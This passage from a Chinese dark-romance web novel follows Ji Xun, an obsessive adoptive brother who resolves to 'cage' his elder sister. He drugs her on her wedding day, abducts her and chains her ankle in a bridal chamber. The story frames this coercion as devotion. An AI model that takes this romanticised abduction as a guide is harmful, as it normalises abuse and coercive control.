屋内陷入了一片诡异的寂静,唯有姜芸薇隐忍抽噎的声音,清晰得刺耳,她单薄伶仃的肩微微耸动,一颤一颤的,恍若被雨水打得七零八落的花瓣,惹人怜惜。 季珣缄默不语。 姜芸薇无声的恸哭,恍若一把锋利的刀,一下下剜着他的心口,钝痛密密麻麻地漫上来。 他俯下身,一点点吻去她眼角晶莹的泪珠,从泛红的眼尾,到微红的脸颊,动作极其轻柔,恍若捧着什么稀世珍宝。 姜芸薇浑身一僵,他的唇瓣温热柔软,烫的她心尖都在发颤。 她整个人恍若浸泡在沸水中,四肢百骸都烧得发慌。 她止了哭腔,一脸惊惧的望着他。 望着她泪眼朦胧的模样,季珣心中一软,他俯身将头埋在她温热的颈窝处,鼻尖轻轻蹭着她细腻的肌肤,嗓音又沉又哑,语气中竟裹缠着几分委屈,“阿姐,我只是想和你一辈子待在一起,有错吗?” 姜芸薇颈间泛起一阵细密的颤栗,她被他箍在怀中,紧贴着他滚烫的胸腔,连一丝挣扎的余地都没有。 季珣真是疯了! 幸好,再过不久她就要嫁人了,如今只盼着待她嫁作人妇后,季珣能够逐渐清醒过来,消了那些悖逆人伦的想法。 思及此,她压下心头翻涌的惊惧,刻意放柔了嗓音,语气温柔,恍若诱哄闹脾气的孩童,小心翼翼的开口道:“阿珣,你先放开我,好不好?我永远是你的阿姐,我们自然一辈子都会待在一起,明日,便是会试之日,时候不早了,你该早些歇息了。” 闻言,季珣乌沉沉的眼,一眨不眨的盯着她。 姜芸薇硬着头皮迎上他的视线,唇角轻扯,绽出一抹柔和的笑。 静默一瞬后,季珣终于大发慈悲的放开了怀中颤颤巍巍的女郎。 他视线一转,目光落在掉落在地面上的一枚红色平安符上。 他弯腰将其捡起,在指尖细细摩挲着,这枚平安符乃是用暗红色的缎子缝的,正中绣着两条相逐的锦鲤,针脚绵密,符囊里塞着的香料丝丝缕缕蔓延开来,弥漫着一股清苦的气息,许是用来提神醒脑用的。 阿姐这是希望他能够像锦鲤一般,鱼跃龙门,金榜题名。 还真是用心良苦。 他又岂能辜负阿姐的期望? 季珣抬眸一笑,“多谢阿姐,我很喜欢。” 姜芸薇不敢对上他的视线,“你喜欢就好,时候不早了,你早些歇息,明日还要去参加会试。” 话毕,不待季珣回应,便仓惶转身离开。 季珣站在原地,望着她的背影,眸光深邃莫测。 第53章 第53章 往后阿姐不能再照顾你了 翌日, 便是会试之日。 姜芸薇起了个大早,她正欲去做早膳,却见季珣已经在灶房里忙碌了。 她脚步顿住, 心中一时五味杂陈。 她昨夜一晚上都没怎么合眼, 满脑子想的都是那些画。 两人如今的关系实在太过荒唐,不能够再这样继续下去了! 恰好这时,季珣端着碗碟从灶房内走出, 他侧目望她一眼, “阿姐,今日怎么起这么早?” 姜芸薇避开他的视线, “今日是你参加春闱考试的日子,我送你去贡院。” 季珣目光在她脸上停留了一瞬, 心中竟滋生出几分说不清道不明的甜意。 兔子急了尚且还会咬人呢, 他原本以为, 经过了昨夜的事情, 阿姐定然又会像从前那样躲着他, 连半分眼神都不肯施舍,然而,她却起了个大早,想要为他做早膳,还要送他去贡院考试。 这样心善柔软的阿姐,这样将他放在心上的阿姐,教他如何舍得放手? 他胸腔倏然荡起一阵难言的苦涩, 悔意翻涌,他当真错的彻底,前世竟忍心弃她于不顾,任阿姐独自一人在这个豺狼当道的世道里伶仃浮沉。 幸好, 老天给了他重来一次的机会,这辈子,他定然会护她周全。 清晨的日光刚漫过永安坊的飞檐,贡院门前早已经被围得水泄不通,各州各地的才子们皆汇聚于此。 看着乌泱泱的人群,姜芸薇心中也跟着生出几分紧张感,参加会试的举子这么多,然而,能够上榜者却寥寥无几。 “阿珣,我就送你到这里了。”姜芸薇收回飘远的思绪,抬眸望向季珣,柔声开口,“莫要慌,放平心态,全力以赴便可,我在家中等你回来。” “好,阿姐。”季珣喉咙轻轻滚动了一下,目光落在她清丽的眉眼间,心底骤然涌起几分难以言喻的暖意,似乎往后不管发生什么事情,家中总有阿姐在等着他。 长长久久,永不分离。 季珣深深看了她一眼,继而,转身走入人潮之中。 姜芸薇站在原地,望着那道雪青色身影彻底淹没在人潮里,这才缓缓收回视线,满心复杂的往回走。 纵前路漫漫,世事难料,她还是希冀,阿珣前程似锦,平安喜乐。 也不枉两人相伴数年的姐弟情分。 * 会试一共需考三场,每场考三天,共计九日。 这九日,吃住行都在贡院之中,季珣自然也早就提前备好了笔墨纸砚和干粮衣物。 他在考场外验明正身后,便朝着贡院里面走去。 “这位兄台。” 肩膀蓦地被人从身后拍了一下。 季珣回头一看,瞧见一个陌生的男子。 男人穿着一身蓝色布衫,眉目清隽,身形挺拔。 “你就是季姑娘的弟弟吧?”岑墨试探着开口询问道。 闻言,季珣眸色骤冷,面上却是不动声色,“公子如何得知?” 见季珣并未否认,岑墨挠了挠头,“方才搜身之时,我瞧见你带着的那套笔墨纸砚,正是我上次和季姑娘挑选的。” 季珣目光锐利如刀,将岑墨从头到脚扫视了一遍,似乎要在他的身上剜出个洞来,最终,他的眼神骤然定格,死死黏在他腰间佩戴着的红色香囊上。 正中绣着的锦鲤针脚细密,眼熟得刺目。 与他的别无二致。 她赠给自己的生辰礼物,竟然是和别的男子挑选的。 他曾经以为独属于自己的东西,此刻竟堂而皇之的挂在别人的腰间。 这个认知令季珣五脏六腑都像是被揉成了一团,钝痛细细密密地蔓延开来,一股暴戾的杀意,在胸腔里横冲直撞。 他死死的盯着那个香囊,目光冷得像淬了冰,只恨不得立刻上前,将那碍眼的物什扯下来,撕得粉碎。 原来,她的好,不只对他一人。 原来,那一轮悬在心头的明月,照耀的从来就不只有他一个。 “真是巧了,没想到竟然会在此处碰到你。”岑墨并未察觉到他的异常,面上含着笑,自言自语的开口道。 季珣面色平静无波,眸光却森寒一片,他垂在身侧的手微不可察的动了动,一缕极细的内劲霎时如利刃般,悄无声息地自指尖逸出。 不过瞬息之间,岑墨腰间挂着的香囊蓦地断裂,香囊掉落在地,滚了半圈,被身后走来的考生一脚踩住。 岑墨脸色一变,连忙弯腰去捡,他小心翼翼的拂去上面的灰尘,眉峰紧蹙,喃喃自语,“好端端的,系绳怎么突然断了。” 他抬起头,还欲说些什么,却见季珣已经转身,大步离去,背影裹挟着森森寒意,令人无端心头发紧。 * 会试还未结束,便有许多考生熬不住艰苦的环境,染病被抬了出来,还有的自知才疏学浅,没有上榜的可能性,索性也早早的提前离场了,一时间,贡院门前哭天抢地声不断。 索性这些人当中,并没有季珣。 到了第九日,会试最后一天时,贡院门口又是人潮如织,围满了考生的亲眷家人。 姜芸薇也早早的来到贡院门口等候,翘首张望。 贡院朱红色的大门打开,考生如潮水般涌出。 姜芸薇目光在人群中逡巡,待捕捉到那道熟悉身影时,她心中一喜,正欲迈步上前,却在瞥见他身旁站着的男子时,浑身一僵,脚下如同生了根,沉甸甸地钉在原地。 只见季珣的身旁,竟站着岑墨,两人正缓步走下贡院的阶梯,边走边低声攀谈着,看上去竟十分熟稔的模样。 姜芸薇呼吸骤然凝滞住了。 他们两人,什么是时候相识的? 此时,贡院的学子都走 得差不多了,因此,两人很快便瞧见了站在门口等候的姜芸薇。 眼看着两人一前一后朝着她这边的方向走近,姜芸薇一颗心砰砰直跳,似乎要从胸腔里蹦出来。 “阿姐,你可是来等我的?” 季珣唇角嗪着抹笑,弧度浅淡,面上神情莫测,让人窥不透他此刻内心的想法。 姜芸薇指尖微微蜷缩,强装镇定,迎上他的目光,“自然。” 一旁的岑墨全然未察觉两人之间的暗涌,他目光直愣愣地落在姜芸薇秀美的脸上,心跳如擂鼓般咚咚作响,他有千言万语想要吐露,然而如今瞧见她,却笨嘴拙舌,不知该说些什么,好半晌,才呆呆吐出几个字,“姜姑娘,好久不见。” “好久不见。”姜芸薇唇角轻扬,她目光在季珣和岑墨身上来回打转,指尖无意识的绞着袖角,犹豫着开口问道:“你们两人怎么一起出来了?” 岑墨忙不迭答道:“说来也是巧合,正要出贡院时,恰好碰上了,或许这就是缘分吧,在考试之前,我们也碰上了一次。” 他说着,眼角余光又忍不住悄悄瞥向姜芸薇,语气歉疚道:“抱歉,姜姑娘,你送我的平安符,系绳断了。” 姜芸薇:“无碍,回头我再……” 季珣冷眼看着两人打情骂俏,眼底的寒意几乎要凝结成冰,他蓦地低笑一声,打断她的话头,“阿姐,既有了心上人,怎么却瞒着我这个当弟弟的?” 看着季珣阴恻恻的目光,姜芸薇心中一紧,她喉口干涩,一时竟不知该如何开口。 见状,岑墨连忙开口解释道:“季兄,先前会试讲近,姜姑娘也是担心这些琐碎小事,扰了你的心神。” 季珣掀了掀眼皮,冷凝的目光在岑墨面上一扫而过,似笑非笑道:“岑兄和阿姐,倒是情分深厚,竟已经到了这般心意相通的地步了。” 饶是岑墨再迟钝,此时也听出了季珣话中暗含的嘲讽之意,他心中不禁有些忐忑,自己是否做错了什么,惹姜姑娘弟弟不喜了? “阿珣!莫要胡说!”姜芸薇嗔怪的瞪他一眼。 季珣眸色沉的像是浸染了浓墨,他蓦地勾唇扯出一抹极淡的笑意,“时候不早了,阿姐,我们回家吧。” 姜芸薇几乎是下意识地点了点头,“好。” 三人待在一起,气氛实在是太古怪了,如今能够摆脱这样尴尬的局面,她自然乐见其成。 思及此,她抬眼看向岑墨,柔声道:“岑公子,考了这么多日,想来你也累了,早些回去好好歇息吧。” “好。”岑墨忙不迭点头应声。 * 季珣和姜芸薇两人回到家中后,已近傍晚时分了。 一路上,季珣始终一言不发,周身气息冷冽。 瞧见他这副模样,姜芸薇亦是惴惴不安,心神不宁。 晚膳时,两人相对而坐,同桌而食。 姜芸薇握着筷箸,味同嚼蜡,食不知味。 直到饭菜早已凉透,季珣这才薄唇轻启,嗓音幽冷地开了口,“阿姐前些日子,不是还心悦林遇吗?怎么不过短短数月,就又换了个心上人?” 姜芸薇只觉耳畔“嗡”的一声,像是有惊雷炸开,她蹙紧了眉头,不敢相信方才那样刻薄刺耳之言,竟是出自眼前少年之口。 她深吸了口气,逐渐冷静下来,似乎下定了某种决心,她陡然抬眸道:“阿珣,有件事情,我得告诉你。” 她纤长的睫毛轻轻颤了颤,清丽的面容在摇曳的烛火下,泛着一层朦胧的霞光,“我与岑公子,并非你所想象的那般,我和他,已经过了明路,交换了庚帖,不日便要成亲了,阿珣,你已经长大了,往后,阿姐不能够再时时照顾你了,但是我永远都是你的姐姐,我们的姐弟情分,永远都不会改变。” 第54章 第54章 考上了会元 “成亲”二字, 恍若一把淬了毒的利刃,狠狠扎进了季珣的心底。 姜芸薇还说了什么,他半点没有听清, 周围的一切, 似乎都变成了模糊的虚影,唯有那两个字,在他耳边不断回响着, 震的他五脏六腑都疼了起来。 他僵立在原地, 浑身的血液在身体里疯狂沸腾灼烧起来。 原来,阿姐早就计划着要另嫁他人, 计划着要逃离他的身边。 她这些日子表面上装得那般风轻云淡,背地里却和别的男人眉来眼去, 甚至私定了终生。 他抬起眼帘, 目光落在她的身上。 摇曳的烛火在她脸上跳跃, 暖黄色的朦胧光晕将她的面容衬得越发清丽柔婉, 她眉眼温柔, 望着他的眼神,也如从前一般无二。 然而此刻,这熟悉的温柔,落在季珣的眼中,却恍若一把裹着蜜糖的刀子,剐得他心痛如绞,五脏六腑都被搅得血肉模糊。 阿姐这般温柔, 便是被他欺负得狠了,也只会红着眼眶落泪,半句狠话都说不出口,可如今, 这份独属于他的温柔,往后却要悉数给另一个男人。 她会为那个男人挑灯缝制衣裳,会为那个男人洗手作羹汤,会和那个男人耳鬓厮磨,在红烛帐暖中鸳鸯交颈,做尽世间最亲密之事。 那些他求之不得的奢望,如今却要被另外一个男人轻而易举夺走。 想到此处,季珣突然感觉肠胃深处翻搅起一阵生理性的恶心感,令他几欲作呕。他猛地攥紧了拳头,指甲深深嵌进掌心,几乎要刺出血来,才勉强压下那股汹涌而来的暴虐杀气。 凭什么? 她明明答应过,要照顾他一辈子的。 她是他的阿姐,他们之间朝夕相伴的姐弟情分,岂是旁人能够轻易插足的?况且,旁人也根本护不住她,那个岑墨,不过一个手无缚鸡之力的弱书生,他如何护得住阿姐?倘若再遇上几个王二、方源这样的地痞无赖,他一介书生,手无寸铁,拿什么保护阿姐?怕是到那时候,自身都难保。 这个世界上,唯有他才能护阿姐周全。 他绝对不会允许她另嫁他人。 阿姐只能是他的,这辈子,他们都会永远在一起。 前世时,季珣曾豢养过一只雀鸟。 那鸟儿并非名贵品种,却生得极为好看,羽毛鲜亮,叫声清越,鲜活灵动得紧。 他得了几分意趣,便寻了宫中最好的匠人,为其打造了一个鎏金的鸟笼,每日用最上等的粟米喂养,然而,鸟儿却总是郁郁寡欢,想着飞出囚笼。 后来有一日,喂养的下人忘了锁鸟笼的门,那雀鸟便如离弦之箭般飞走了。 一去不回。 他遣下人去寻,几日后,仆役战战兢兢捧来它的尸体。 是在院外的枯井旁发现的。 它温热柔软的身体早已经冰冷僵硬,曾经鲜亮的羽毛,如今却沾满了污泥与凝固的血渍,头颈上一道深可见骨的伤痕,想来是被猎户用弹弓射杀的。 真可怜啊。 季珣难得大发慈悲,遣人将那只雀鸟的尸体埋入土中,免它尸身再被野狗啃噬。 眼前的阿姐,像极了当初那只雀鸟,一样的灵动鲜活,却也同样娇弱得不堪一折,经不起半点风浪,一旦飞出他的掌控,便只能是任人宰割。 与其如此,倒不如由他亲手铸就一座金笼,将她囚入其中,锁在自己身边,令她再也无法飞向别处,从那以后,她的哭、她的笑、都只能给他一个人看。 哪怕她会怨他、恨他,他也甘之如饴。 思及此,季珣似乎想通了什么关窍,他眼底倏地漫开一抹妖冶的笑意,苍白的面容刹那间变得鲜活生动起来,“好,那我这个当弟弟的,便提前预祝阿姐新婚大喜了。” 闻言,姜芸薇不禁有些诧异。 她原本还以为,阿珣定然会难以接受,不曾想,他竟然如此平静,不仅神情温柔,就连语气亦是极为温驯。 看来,阿珣是真的想通了。 想到这,姜芸薇心底紧绷的那根弦,骤然松懈开来。 * 三月初八,便是放榜之日。 天才刚蒙蒙亮,贡院门口便挤满了学子,将张榜处围得水泄不通。 岑墨老远就瞧见季珣和姜芸薇两人并肩走来,连忙挥了挥手,热切的打招呼,“姜姑娘,季兄,这边!” 两人走上前去。 季珣淡淡扫他一眼,并未言语。 姜芸薇略微颔了颔首,柔声, “岑公子。” 岑墨挠了挠头,面上露出抹笑,他今日天刚蒙蒙亮便来此处等候了,知道季珣和姜芸薇两人今日定然也会来,便一直翘首以盼,盼望着能够见心上人一面。 岑墨正欲开口,这时候,一道锣鼓声蓦地响起,继而,几名小吏上前驱散人群,开始张贴春榜。 人群中霎时引起一阵不小的骚动,待到榜单张贴好后,一众学子连忙伸长了脖子,争先恐后的往前挤。 季珣立在人群之外,面上神情冷淡,似乎压根不在意自己是否榜上有名。 他手臂微抬,虚虚护在姜芸薇身侧,替她隔开人群,以免她被推搡的人群撞到。 瞧见季珣这不急不慌的模样,岑墨只好道:“季兄,你和姜姑娘在此处稍候片刻,我去看榜单便好。” 说完,便一头扎进了汹涌的人潮之中。 周遭人声鼎沸,有人放声大笑,口中高喊着“我上榜了”,欣喜之色溢于言表,也有人瘫坐在地上嚎啕大哭,十年寒霜苦读,终是落得一场空。 瞧见这一幕,姜芸薇心尖像是被一根无形的丝线缠绕,竟也不由自主变得紧张起来,也不知道季珣和岑墨两人能否榜上有名。 一转头,对上季珣淡漠的眉眼,他面无表情立于喧嚣之外,似乎一切都事不关己,姜芸薇忍不住好奇问道:“阿珣,你怎么不去看?你一点都不紧张吗?” 季珣语气平静,“结果早就已经注定,现在紧张又有何用。” 姜芸薇张了张唇,想要说些什么,却不知该如何开口。 恰好这时,岑墨从熙熙攘攘的人群之中挤了出来,他的面上带着按捺不住的喜色,“季兄!你竟然是会元!第一名啊!” 闻言,姜芸薇眼睛瞬间亮了起来,她的脸上是掩饰不住的欣喜之色,“阿珣,你竟然考上了会元!” 她素来知晓,季珣胸有千壑,定然并非池中之物,却没有料到,他竟然这般优秀,能够在汇聚云集了天下才子的京城脱颖而出,一举拔得头筹。 季珣低垂眼睫,面上神情分外平静,似乎一切皆在他的意料之中。 这已经是他第二次参加春闱考试了,自然对考题一清二楚。 望着季珣风轻云淡的模样,岑墨忍不住感慨道:“季兄小小年纪,却有这般泰山崩于前而面不改色的气度,我真是自愧弗如。” 闻言,姜芸薇这才像是猛地想起了什么,连忙转头看向岑墨,“对了,岑公子,你今日可有上榜?” 岑墨点了点头,唇畔是压不住的笑意,就连眉眼间都染上几分意气风发,“嗯,有上榜的,第十七名。” 姜芸薇面色一喜,忙道:“恭喜岑公子。” 岑墨笑道:“总算不负姜姑娘对我的期盼。” 瞧着两人眉来眼去,情意绵绵的模样,季珣眸色骤沉,他冷不丁开口,“岑公子学识过人,依我看,再过一个月的殿试,前三甲定然是你的囊中之物了吧?” 岑墨怔了怔,旋即,连忙摆手,笑道:“季兄太谦虚了,我如何及得上你半分,听闻你在乡试之时便拿了第一解元,倘若此次殿试再夺魁首,便是古来罕见的三元及第了。” 殿试乃是此次科举的最高一级考试,由当今圣上亲自主持,只有通过会试的贡士,方才有资格参加,约摸一个月后,便是殿试开考之时了。 姜芸薇适时开口,嗓音柔婉,“何必比较,你们两人皆是少年英才。” 她目光掠过贡院外熙攘的人群,心中不禁泛起几分唏嘘感慨,只见那攒动的人群之中,不乏年过五旬,须发皆白的老者,他们眼底还燃着对功名的执念,却屡屡落第,与他们相比,季珣和岑墨尚不到弱冠之年,就榜上有名,已经是旁人望尘莫及的少年英才了。 岑墨目光落在姜芸薇秀美的侧脸轮廓上,他指节攥紧了衣襟,喉结滚了又滚,才斟酌着开口,声音之中带着几分不易察觉的紧张,“对了,姜姑娘你今日可有空,今日风和日丽,我想邀你一同去踏青。” 姜芸薇还未开口,季珣便抢先一步,截断了话头,“阿姐她没空,她今日要陪我去绸缎铺买衣裳。” 话毕,他不动声色的往前一步,堪堪将姜芸薇挡在身后,他的眉眼淡漠,眸中寒意毕露。 岑墨怔了怔。 他并非愚钝之人,自然能够察觉到季珣对他的敌意,他不禁暗自思忖,许是这位未来小舅子太过出类拔萃,便觉得像自己这般庸才,压根配不上他的姐姐,才会处处对自己针锋相对。 不过,他对姜姑娘一片赤诚真心,相信假以时日,季珣定能够看到他的诚意,会慢慢认可他这个姐夫的。 想到再过不久,便是两人婚期,岑墨心中不由多了几分期待和欢喜。 第55章 第55章 阿姐,不如由我来给你行梳发…… 待到岑墨离开后, 姜芸薇这才有些无奈地转头看向身旁的少年,“阿珣,我什么时候说要去绸缎铺买衣裳了?” 季珣眸光一错不错地盯着她, 声音压得极低, “阿姐,你如今都快要成亲了。” 他刻意咬重了“成亲”二字,顿了顿, 才继续说, “往后我们姐弟两人,见面次数只会越来越少, 而你和岑墨,婚后便可朝夕相处, 阿姐如今便不能分点时间给我吗?” 他的眸中犹如聚了水波, 语气又轻又软, 带着几分委屈的意味, 这模样, 看上去就恍若一只被主人抛弃的小狗。 姜芸薇怔了怔,心头莫名一软。 是啊,她快要嫁人了。 往后便不能像如今这样,和季珣朝夕相处了。 思及此,她嗓音不自觉柔和了几分,“好。” 季珣得寸进尺,“阿姐, 那你这些时日,都别和岑墨见面了,在家中陪我可好?” 看着他亮得恍若盛满了星子的双眸,姜芸薇终是说不出什么拒绝的话, “好。” 季珣唇角勾起一抹极细微的弧度,他歪头笑道:“阿姐,你婚期在即,可还有什么缺的物件,我陪你去买?” 望着少年眉眼间的笑意,姜芸薇心中竟生出几分恍惚的不真切感。 前些日子所发生的一切,好似一场荒唐的幻梦,而如今梦醒了,眼前的少年又变成了从前那个懂事听话、学业有成的弟弟。 “阿珣,我没什么要买的,”姜芸薇望着他,絮絮低语,“倒是你,下个月就要殿试了,到时候要面见圣上,你可会觉得紧张?面见圣上可不能穿得太寒酸了,好像确实得带你去成衣铺买身衣裳,这些都要提前准备好,到了那个时候,阿姐就不在你身边了。” 季珣目光凝在她因担忧而微颦的眉间,眸中光华流转,好似蕴着几分摄人心魄的力量,他一字一顿,蛊惑般低声,“既然阿姐不放心,不如就别嫁人了,一辈子留在我身边,可好?” 姜芸薇呆了一下,继而,低低叹了口气,唇边漾开一抹无奈的笑,“阿珣,又说这种孩子气的话,你日后总要成家立业,娶妻生子,我们又岂能一辈子在一起?” 季珣缄默不语,深潭般的眸子里翻涌着无声的浪潮。 他已经给过阿姐机会了,可她却不肯选择一辈子待在他的身边,既然如此,那他只能采取强硬的手段,将她囚在身边,只有这样,她才不会再想着离开,他们才能真正永远地在一起。 * 三月二十七,姜芸薇大婚前一日傍晚。 赵媒婆特意来了家中一趟,仔细交代了她一些大婚事项。 紧接着,她突然拿出一本册子,递到姜芸薇的手中,“姜姑娘,这些事情,我也不知道你娘去世之前有没有教过你,是关于夫妻敦伦之事。” 姜芸薇翻开册子看了一眼,只见画中,两个浑身赤裸的男女正以不同姿势相拥相缠,亲密无间,这画极为露骨直白,竟无半分遮掩。 姜芸薇只看了一眼,便如同被火烫了一般,慌得连忙合上了册子,就连耳垂,都红得仿佛要滴出血来。 瞧见她这副模样,赵媒婆还有什么不明白的,季母生前定然还没来得及教女儿这些事情。 赵媒婆拍了拍她的肩,语调温和,“姜姑娘,你不必害羞,嫁了人后,夫妻敦伦,绵延香火,本来就是天经地义的事情,虽然说岑墨那个小子看着是个手无缚鸡之力的书生,不过男人在那方面都差不多,但凡尝到了滋味,便也有几分劲头,他若是弄疼了你,你只管开口就是,女子初夜,可能会疼些,后面就好了。” 姜芸薇红着脸颊点了点头。 赵媒婆低声道:“那这个册子,你今晚好好看看,往后嫁了人便懂了。” 姜芸薇感激道:“多谢赵媒婆,我明白了。” 翌日清晨,天光熹微,姜芸薇的房内已经是忙成一团。 赵媒婆请了两个喜娘给她净面、开脸,梳妆,一直忙活了大半个时辰。 看着铜镜中明艳动人的女郎,喜娘忍不住夸赞道:“姑娘天生丽质,稍加打扮便貌若天仙,那姓岑的小子真是好福气,接下来,我来给姑娘行梳发礼吧。” 梳发礼乃是女子出嫁前极为重要的一个步骤,需由全福妇人梳三下,每梳一句吉祥话。 姜芸薇点了点头,正要应下,这时候,房门外蓦地传来一道清润如水的嗓音,“阿姐,不如由我来给你行梳发礼吧。” 姜芸薇怔了怔。 她抬眸循着声音来源处看去。 只见季珣立在门边,正含笑望着她。 他今日竟也穿了一袭红衣,越发衬得肌肤冷白如玉,分明是这般炽热夺目的颜色,穿在他的身上却如红梅覆雪般,平添了几分冷艳气质。 喜娘一怔,“这,于理不合。” 季珣斜乜她一眼,“我乃是她的弟弟,有什么不合适的?” 他的神色淡淡,不见丝毫情绪起伏,然而那目光扫过来时,偏生带着几分慑人的寒意,喜娘面色讪讪,不敢再多言,只好将目光投向了姜芸薇。 姜芸薇轻叹一声,想到自己即将出嫁,往后这个家中便只剩下季珣孤身一人了,心中便柔软了几分,她有些纵容的点了点头。 季珣缓步走到姜芸薇的身后,神情无比自然地接过喜娘手中的桃木梳。 他目光落在铜镜中。 姜芸薇今日脸上敷了薄粉,肌肤莹润生光,颊上抹了胭脂,恍若春日里开得正盛的灼灼桃花,鲜艳欲滴,唇瓣点了口脂,色若榴火,饱满得像颗熟透的樱桃,一身大红色嫁衣,映得玉容妍丽娇媚,满室生辉。 原来阿姐打扮起来,这般娇妍动人。 只是可惜,今日这番盛妆,却是为了嫁给另一个男人。 季珣垂下泛着寒芒的眼眸。 他站在姜芸薇身后,举起梳子从发根缓缓梳至发尾,动作缓慢而又温柔,“一梳梳到尾。” 他的声音清冽如碎玉相击,温热的呼吸喷洒在姜芸薇的颈侧。 姜芸薇下意识的瑟缩了一下。 喜娘瞧着眼前这一幕,心中莫名浮现出几分怪异感,这女郎的弟弟生得亦是分外俊秀,且他今日也是一袭红衣。 女子发髻,一般只能由夫君来绾,哪有让弟弟动手的道理?两人这般姿态,竟恍若夫君在替新婚妻子梳发绾髻。 喜娘被这想法惊了一跳,连忙摇了摇头,把这古怪的念头抛诸脑后。 季珣的指腹轻轻摩挲着姜芸薇乌黑柔润的发丝,缓慢地用梳篦一梳到尾,“二梳白发齐眉。” 他的嗓音低柔,多了几分缠绵缱绻的意味,恍若情人之间的呢喃细语。 两人此时距离近得过分,他的衣袖擦过她的肩,发丝拂过她的颈,他身上清冽的香气团团袭来,丝丝缕缕地缠上鼻尖,浸入肺腑。 两个喜娘还在一旁看着,姜芸薇心中不禁浮现出几分怪异感。 她一时坐立难安,心口发紧,只期盼着他赶紧行完这梳发礼,早些离开。 “三梳子孙满堂。” 第三梳落下时,他的动作依旧轻柔,似乎生怕弄疼了她。 姜芸薇不易察觉地松了口气。 一旁的喜娘见状,连忙上前道:“哎哟,好了,好了,时辰不早了,接下来,便让老身来替姜姑娘绾髻吧,可别误了吉时。” 闻言,季珣并未再多言,他意味不明的看了姜芸薇一眼,旋即,转身走了出去。 喜娘连忙上前,手脚麻利的给姜芸薇绾了发髻,末了,拿起那方绣着并蒂鸳鸯的大红盖头,盖在她的头上。 没过多久,院门外便传来了吹吹打打的喜乐声,两家本就离得不远,仅仅不过隔了几条街的距离。 “新郎官来接亲了。”喜娘脸上露出笑容,连忙搀扶着姜芸薇走了出去。 姜芸薇踏上喜轿,轿帘落下,视线被彻底阻隔,眼前只剩下一片潋滟的红色。 外头喧嚣鼎沸,孩童的嬉闹声、还有爆竹炸开时噼里啪啦的声响,混着喜庆的鼓乐声,一声声传入耳中。 想到即将嫁作人妇,她心中不禁有些紧张、忐忑。 马车颠簸摇晃着,姜芸薇鼻尖蓦地钻入一缕极淡的异香。 那香气甜丝丝的,姜芸薇吸了一口,便觉得头晕目眩,眼前的一切,似乎都出现了模糊的虚影,外面的鼓乐喧嚣声也越来越渺远,她身子一软,便彻底失去了意识。 * 锣鼓喧天,鼓乐笙箫,迎亲队伍行至永乐坊闹市口,忽闻前方一阵喧闹,隐约可见一群人聚在一起吵吵囔囔,堵住了去路。 等了半刻,人群仍未疏散,岑墨蹙了蹙眉,再这样拥堵下去,恐怕要误了吉时。 见状,喜娘连忙上前道:“我去前面看看是怎么回事。” 岑墨点了点头。 没过多久,喜娘便去而复返,“前面一个小贩的推车倒了,一群小孩正在哄抢货物,要不我们绕路走吧?” 岑墨等了半天,眼下眉目间隐约可见焦灼之色,似乎也没有更好的办法了,他只好点了点头。 正要调转方向,不知是谁喊了一句“有人成亲,抢喜糖喽。”一群小孩霎时一哄而上,迎亲队伍顿时乱成一锅粥。 岑墨脸色一变,今日这是怎么了,为何生出这么多事端,也不知道姜芸薇有没有受到惊吓。 思及此,他下意识的回头往花轿的方向看去。 这时候,突听身后轿夫惊慌道:”不好了,新娘子不见了!” 第56章 第56章 和我肌肤之亲,你不喜欢吗?…… 姜芸薇醒过来时, 头还有些晕眩。 眼前一片昏暗,只能够隐约瞥见大致的起伏轮廓,她躺在一张柔软的床榻上, 身上依旧穿着白日里的大红色喜服, 记忆逐渐回笼,今日乃是她的大婚之日。 她原本在喜轿之中,突然闻到一股异香, 不过须臾, 她便浑身发软,失去了意识。 此处是什么地方?为何四下里黑沉沉的, 连一盏灯都不点? 姜芸薇心中一紧,挣扎着想要起身, 刚动了两下, 脚踝处蓦地传来一阵冰冷的禁锢感, 伴随着铁链、铃铛碰撞之声, 在寂静的屋内, 听得人头皮发麻。 她霎时僵在原地,借着帐外透进来的熹微月光,这才惊觉,她的足踝竟被一副玄铁锁链所缚,锁链环扣处还缠着一只金色的小铃铛,她稍微动一下,铃铛便叮叮作响。 姜芸薇呼吸一窒, 恐惧如潮水般铺天盖地涌来,她心中既害怕,又恐惧。 究竟是谁,竟在她大婚之日, 将她囚在此处? 屋门恰在此时突然被推开,一道沉稳的脚步声,正一步步朝着床帷处逼近。 姜芸薇下意识地蜷缩起身子,背脊绷得笔直,一脸戒备的盯着来人的方向。 下一瞬,烛火骤然亮起,将屋内照耀的亮如白昼。 姜芸薇这才看清楚屋内的景象。 身上盖着的被衾乃是大红色的,上面绣着鸳鸯戏水的图案,红纱帐如流霞一般,从金钩上逶迤垂落,就连拔步床顶正中 间都系着一朵大红绸花,将满室都衬得喜气融融。 红纱帐倏地被掀开,一道熟悉的身影在床畔坐下,含笑望着她,“阿姐,你醒了?” 季珣竟也换了一身大红色的喜服,乌发仅用一支玉簪绾起,额前几缕发丝垂落,他肤色白皙,在红裳映衬下,泛着几分惊心动魄的艳色。 怎么会是季珣! 姜芸薇惊惶地瞪大眼,嗓音颤抖,“阿珣,这是哪里?是你将我绑来的?” 季珣言笑晏晏地凝望着她,“阿姐,此处是我在京城买下的宅院。” 姜芸薇如坠冰窖,浑身冰凉。 阿珣什么时候在京城买了宅院,他哪来的这么多银子?为何自己竟然毫不知情? 直到此时,姜芸薇才骤然惊觉,原来自己竟从未了解过这个朝夕相处的弟弟。 姜芸薇喉间发紧,五指紧攥着身下的锦被,指节泛白,“阿珣,今日乃是我的新婚之日,你为何要将我掳来此处? 季珣倾身靠近,温热的呼吸拂过她的面颊,他眉梢微扬,嗓音轻软,“阿姐,你看这屋子,红绸锦帐、喜烛窗花,每一样皆是我亲手布置,阿姐看看可还满意?今日,此处便是你我的新婚之夜。” 姜芸薇脸色煞白,不可思议地盯着他,“阿珣,你在胡说什么!我今日要嫁的人乃是岑墨,你快放了我!” 她浑身发颤,足踝上的金铃也随之发出叮铃铃的声响,在寂静的屋内格外清脆悦耳。 听她提起别的男子名字,季珣眸色微冷,他垂眸,手指猝不及防抚上她的足踝,动作缓慢而又轻柔地摩挲着,唇边嗪着一抹愉悦的笑容,“阿姐,你看这铃铛,你可还喜欢?这是我特意为你量身定制的。” 姜芸薇的足踝纤细,泛着常年不见日光的冷白色,玄铁细链贴着她莹白的肌肤,链扣处,悬着一枚小巧的金色铃铛。 那枚金铃与她的瓷白肌肤相映,在红烛的照耀下,竟无端生出几分秾丽的艳色。 